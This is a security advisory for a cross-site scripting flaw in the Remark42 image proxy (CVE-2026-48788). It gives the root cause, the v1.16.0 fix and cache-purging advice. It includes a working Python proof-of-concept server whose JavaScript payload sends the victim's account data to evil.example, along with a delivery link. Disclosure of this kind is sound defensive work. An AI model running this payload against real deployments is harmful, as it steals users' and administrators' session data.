CVE-2026-48788: Remark42 Image Proxy XSS via Content-Type Spoofing
Remark42's image proxy blindly trusts the Content-Type header from remote servers, so an attacker can serve HTML/JavaScript disguised as an image and have it executed in the browser under Remark42's o
The problem
The `/api/v1/img` image proxy in Remark42 1.6.0 through 1.15.0 checks only the remote server's `Content-Type` header to decide whether a fetched resource is an image. It never validates the actual bytes.
When the proxy re-serves the downloaded bytes it calls `http.DetectContentType`, which sniffs the real content and emits `text/html` for an HTML body. The browser then renders attacker-controlled JavaScript as a document in Remark42's origin, giving the script full same-origin access: it can read cookies, attach the XSRF token, and make authenticated API calls on behalf of the victim, including admin actions if the victim is an admin.
No Remark42 account is required to trigger this.
Proof of concept
# 1. Attacker spins up a minimal HTTP server that lies about Content-Type
import http.server, base64, urllib.parse
BODY = b'<!DOCTYPE html><script>fetch("/api/v1/user",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://evil.example/"+btoa(JSON.stringify(d))))</script>'
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "image/png") # accepted by downloadImage()
self.send_header("Content-Length", str(len(BODY)))
self.end_headers()
self.wfile.write(BODY) # real bytes are HTML/JS; ImgContentType() returns text/html
http.server.HTTPServer(("", 8888), Handler).serve_forever()
# 2. Deliver this link to the victim (no account needed):
# https://<remark42-host>/api/v1/img?src=<base64(http://attacker:8888/)>The root cause is a CWE-436 interpretation conflict between the download path and the serve path. `downloadImage()` in `backend/app/rest/proxy/image.go` gates on `strings.HasPrefix(contentType, "image/")` using the *remote* header, so `image/png` passes unconditionally. `ImgContentType()` in `backend/app/store/image/image.go` then calls `http.DetectContentType` on the raw bytes, which correctly identifies the HTML and returns `text/html`.
The browser renders it as a document in Remark42's origin.
The patch in v1.16.0 adds `rest.SafeImgContentType`, which validates the sniffed type against a strict allowlist (`image/png`, `image/jpeg`, `image/gif`, `image/webp`, `image/bmp`, `image/x-icon`). Any other type, including `text/html` and `image/svg+xml`, causes a `415` response with no body echo.
Every image response now also carries `Content-Security-Policy: default-src 'none'; sandbox; frame-ancestors 'none'` and `X-Content-Type-Options: nosniff` as defense-in-depth.
The fix
Upgrade to Remark42 v1.16.0. Operators running a CDN or edge cache in front of Remark42 should purge `/api/v1/img` after deploying, because browsers holding a pre-fix `text/html` response cached with `Cache-Control: max-age=2592000` will continue serving it locally until TTL expiry.
The ETag bump in v1.16.0 (`"v2:<base64(src)>"`) forces revalidation only on clients that contact the origin during the cached lifetime.